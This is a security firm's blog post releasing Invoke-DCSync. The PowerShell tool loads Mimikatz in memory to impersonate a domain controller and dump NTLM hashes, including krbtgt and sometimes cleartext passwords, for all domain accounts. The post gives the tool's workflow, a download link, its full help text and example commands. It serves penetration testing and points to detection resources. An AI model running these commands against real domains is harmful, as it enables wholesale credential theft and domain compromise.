Hashdump without the DC using DCSync (because we all wanted it)
Update: It was brought to our attention that we mistakenly forgot to credit a few of the researchers who contributed to the code used in this post. In fact, these contributors really did the heavy lifting and we simply combined various aspects of their work to create a hashdump script. Will Schroeder (@harmjoy), Joseph Bialek (@JosephBialek), Matt Graeber (@mattifestation), Vincent Le Toux (vincent.letoux [at] gmail.com), and Benjamin Delpy (@gentilkiwi) all contributed to this effort. Check the source for their specific contributions. We write a lot of code for internal use, and are still new at the process for public release.We apologize for the oversight!
This is a short blog post (and a script) to release a PowerShell invoker for DCSync. If you haven’t heard of “DCSync”, it is essentially a feature within Mimikatz that allows you to impersonate a domain controller to synchronize domain account credentials with other domain controllers. The underlying technology is obviously necessary so when a domain user changes his or her account password, the change gets synchronized across all domain controllers. Here’s the catch…the synchronization request doesn’t have to be made from an actual domain controller. Leveraging this “feature” in Active Directory, Mimikatz impersonates a domain controller to perform a password synchronization request to another domain controller. Add in some user enumeration and we can effectively perform a domain hashdump without ever actually being on a domain controller! Even better…on a recent assessment we found an organization had enabled the “Store passwords using reversible encryption” GPO. We were pleasantly surprised to find that DCSync not only pulled the hashes, but also the clear-text passwords for the accounts with that option enabled!
Now, there are a few noteworthy items. Of course there are some limitations to this. First (and hopefully this is obvious), you need to be a domain or enterprise administrator. Also, it may not be a good idea from an opsec perspective to run this on a non-domain controller host. Obviously, this is meant to synchronize DC to DC, not DC to workstation, or even DC to server. Sean Metcalf has a lot of good information on the opsec impact and even detection of this type of traffic here. Now on to the good stuff..
The PowerShell script leverages Invoke-ReflectivePEInjection with some help from the PowerView project to enumerate domain users. Basically, the script uses a DLL wrapper for the PowerKatz build of the Mimikatz project with an exported “powershell_reflective_mimikatz” function to execute the commands. Short synopsis:
- Users and/or machines are enumerated from the network. (They are also passable as an argument.)
- The DLL is loaded into memory, and the DCSync function location is found.
- The DCSync command is generated and the function is called iteratively.
- The output is parsed and formatted for your viewing and cracking pleasure.
Link to the ps1: https://gist.github.com/monoxgas/9d238accd969550136db
Here is the the full help for the command:
NAME Invoke-DCSync SYNOPSIS Uses dcsync from mimikatz to collect NTLM hashes from the domain. SYNTAX Invoke-DCSync [[-Users] <Array[]>] [-GetComputers] [-OnlyActive] [-PWDumpFormat] [-AllData] [] DESCRIPTION Uses a mimikatz dll in memory to call dcsync against a domain. By default, it will enumerate all active domain users along with the krbtgt, and print out their current NTLM hash. Big ups to @harmj0y for the powerview project. The Get-NetUser and Get-NetComputer code is ripped for this script. PARAMETERS -Users <Array[]> Optional, An array of usernames to query hashes for (Passable on the Pipeline). krbtgt will automatically get added Required? false Position? 1 Default value Accept pipeline input? true (ByValue) Accept wildcard characters? -GetComputers [] Will pull the machine hashes as well. Default is false Required? false Position? named Default value Accept pipeline input? false Accept wildcard characters? -OnlyActive [] Will only pull users whos account is active on the domain. Default is true Required? false Position? named Default value Accept pipeline input? false Accept wildcard characters? -PWDumpFormat [] Formats the output in 'user:id:lm:ntlm:::' format. Default is false Required? false Position? named Default value Accept pipeline input? false Accept wildcard characters? -AllData [] Prints out raw mimikatz output. Default is false Required? false Position? named Default value Accept pipeline input? false Accept wildcard characters? This cmdlet supports the common parameters: Verbose, Debug, ErrorAction, ErrorVariable, WarningAction, WarningVariable, OutBuffer and OutVariable. For more information, type, "get-help about_commonparameters". INPUTS OUTPUTS -------------------------- EXAMPLE 1 -------------------------- >Invoke-DCSync -PWDumpFormat Returns all active user hashes in 'user:id:lm:ntlm:::' format. -------------------------- EXAMPLE 2 -------------------------- >Invoke-DCSync -OnlyActive:$false -GetComputers Returns all user and computer object hashes in the domain -------------------------- EXAMPLE 3 -------------------------- >Get-NetGroup -GroupName "EvilPeople" | % {$_.MemberName} | Invoke-DCSync Returns the user hashes for account in the EvilPeople group
Explore more blog posts
Clarifying CAASM vs EASM and Related Security Solutions
Unscramble common cybersecurity acronyms with our guide to CAASM vs EASM and more to enhance attack surface visibility and risk prioritization.
Filling up the DagBag: Privilege Escalation in Google Cloud Composer
Learn how attackers can escalate privileges in Cloud Composer by exploiting the dedicated Cloud Storage Bucket and the risks of default configurations.
Bytes, Books, and Blockbusters: The NetSPI Agents’ Top Cybersecurity Fiction Picks
Craving a cybersecurity movie marathon? Get recommendations from The NetSPI Agents on their favorite media to get inspired for ethical hacking.